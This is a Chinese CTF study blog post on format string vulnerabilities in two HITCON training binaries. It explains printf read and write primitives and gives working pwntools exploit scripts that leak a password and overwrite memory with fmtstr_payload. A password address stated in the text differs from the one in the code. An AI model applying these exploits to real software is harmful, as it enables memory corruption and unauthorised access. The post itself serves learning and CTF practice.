1. 程式人生 > >Pwn-10月26-Hitcon-四

Pwn-10月26-Hitcon-四

.net 4.2 blog NPU roc net python veritas 進行

目錄

  • Pwn-10月26-Hitcon-四
    • lab7-crack
      • 檢查保護措施
      • 邏輯分析
    • lab8-craxme
      • 檢查保護措施
      • 邏輯分析

Pwn-10月26-Hitcon-四

練習Hitcon的第四天??,愉快地學習fsb(Format string bug),格式化字符串漏洞。

lab7-crack

好??,這題開始接觸格式化字符串漏洞。

什麽是格式化字符串漏洞?我們知道c/c++中printf函數輸出值需要對應的參數,但當提供的參數出現問題,或者沒有提供參數的時候,格式化字符串漏洞就可能出現了。CTF-wiki傳送門

那麽假設,此時我們在編寫程序時候,寫成了下面的樣子

printf("Color %s, Number %d, Float %4.2f");

此時我們可以發現我們並沒有提供參數,那麽程序會如何運行呢?程序照樣會運行,會將棧上存儲格式化字符串地址上面的三個變量分別解析為

  1. 解析其地址對應的字符串
  2. 解析其內容對應的整形值
  3. 解析其內容對應的浮點值

由此可見格式化字符串漏洞主要是:

  • 1.泄漏任意地址的值,leak內存(比如leak出libc基地址)

  • 2.寫任意地址,可用於修改got表

這部分來自icemakr的博客 ==>向大佬致敬

32位

讀

'%{}$x'.format(index)           // 讀4個字節
'%{}$p'.format(index)           // 同上面
'${}$s'.format(index)
寫

'%{}$n'.format(index)           // 解引用,寫入四個字節
'%{}$hn'.format(index)          // 解引用,寫入兩個字節
'%{}$hhn'.format(index)         // 解引用,寫入一個字節
'%{}$lln'.format(index)         // 解引用,寫入八個字節
64位

讀

'%{}$x'.format(index, num)      // 讀4個字節
'%{}$lx'.format(index, num)     // 讀8個字節
'%{}$p'.format(index)           // 讀8個字節
'${}$s'.format(index)
寫

'%{}$n'.format(index)           // 解引用,寫入四個字節
'%{}$hn'.format(index)          // 解引用,寫入兩個字節
'%{}$hhn'.format(index)         // 解引用,寫入一個字節
'%{}$lln'.format(index)         // 解引用,寫入八個字節
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 棧上的第一個QWORD

檢查保護措施

按套路來,先checksec crack:

技術分享圖片

可以看到開啟了棧溢出保護(canary found),以及棧不可執行(NX)措施,很明顯讓我們從別處入手。

簡單運行一下:

技術分享圖片

我們需要輸入兩個值,一個是name,輸入之後會被打印,一個是password。

m4x師傅的邏輯:輸出 name 時有明顯的格式化字符串漏洞,這個題的思路有很多,可以利用 fsb 改寫 password,或者 leak 出 password,也可以直接通過 fsb,hijack puts_got 到 system(“cat flag”) 處(註意這裏 printf 實際調用了 puts)

邏輯分析

idapro啟動!!啟動!!給我啟動啊!!??!main函數:

技術分享圖片

exp1:通過格式化字符串漏洞泄露password

技術分享圖片

簡單測試一下我們可以看到一些有趣的東西,這些應該是printf棧中的數據,那麽我們只要找到棧中存儲我們輸入的內容的位置,假如輸入的是某地址,再用%s解析就可獲得該地址下的內容:

技術分享圖片

技術分享圖片

可以看到輸入的內容在棧中的第十個位置,這裏學到一個小知識,%10$s中格式化字符串的“$”操作符,其允許我們從格式化字符串中選取一個位置的參數作為特定的參數。我們可以從IDA中得到password_addr=0x804A080,然後構造EXP。

#coding:utf-8

from pwn import *
from libnum import n2s
context.log_level = "debug"

io = process('./crack')

pwd_addr= 0x804A048

io.recvuntil(' ?')
io.sendline(p32(pwd_addr) + "|%10$x||")

io.recvuntil('|')
#drop = True 表示丟棄pattern,不接受pattern
pwd = str(u32(io.recvuntil('||',drop = True)))
io.sendlineafter(" :",pwd)
io.interactive()
io.close()

運行效果:

技術分享圖片

exp2:修改隨機數

簡單了解fmtstr之後,知道原來還有這麽騷的pwntools模塊,這裏簡單對這個exp做個分析理解。

#來自Veritas501大佬的exp
from pwn import *
context.log_level = 'debug'
cn = process('./crack')
p_pwd = 0x0804A048
fmt_len = 10
cn.recv()
pay = fmtstr_payload(fmt_len,{p_pwd:1})
cn.sendline(pay)
cn.recv()
cn.sendline('1')
cn.recv()
cn.recv()

運行效果:

技術分享圖片

lab8-craxme

這也是一題格式化字符串漏洞??,我們可以直接通過類似上面題exp2的方式來修改值達到目的。

檢查保護措施

checksec craxme:

技術分享圖片

可以看到幾乎所有保護措施都打開,無法通過棧溢出或者棧執行等漏洞進行攻擊。

邏輯分析

像lab7一樣,我們可以在ida裏面看到有格式化字符串漏洞:

技術分享圖片

我們可以運行一下試試

技術分享圖片

可以看到在printf函數棧中第七個位置是我們輸入的內容,那麽我們就可利用pwntools的fmtstr_payload來改變magic的值。

通過ida找到magic的地址:

技術分享圖片

通過Pwntools.ELF:

技術分享圖片

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
context.log_level = "debug"

magicAddr = ELF("./craxme").sym["magic"]
inputs = int(input("[+]1.flag\n[+]2.craxflag\ninput:"))
if inputs == 1:
    payload = fmtstr_payload(7, {magicAddr: 0xda})
else:
    payload = fmtstr_payload(7, {magicAddr: 0xfaceb00c})

io = process("./craxme")
io.sendlineafter(" :", payload)
io.interactive()
io.close()

運行效果:

技術分享圖片

今天的格式化字符串漏洞就學到這兒啦,難受??。

Pwn-10月26-Hitcon-四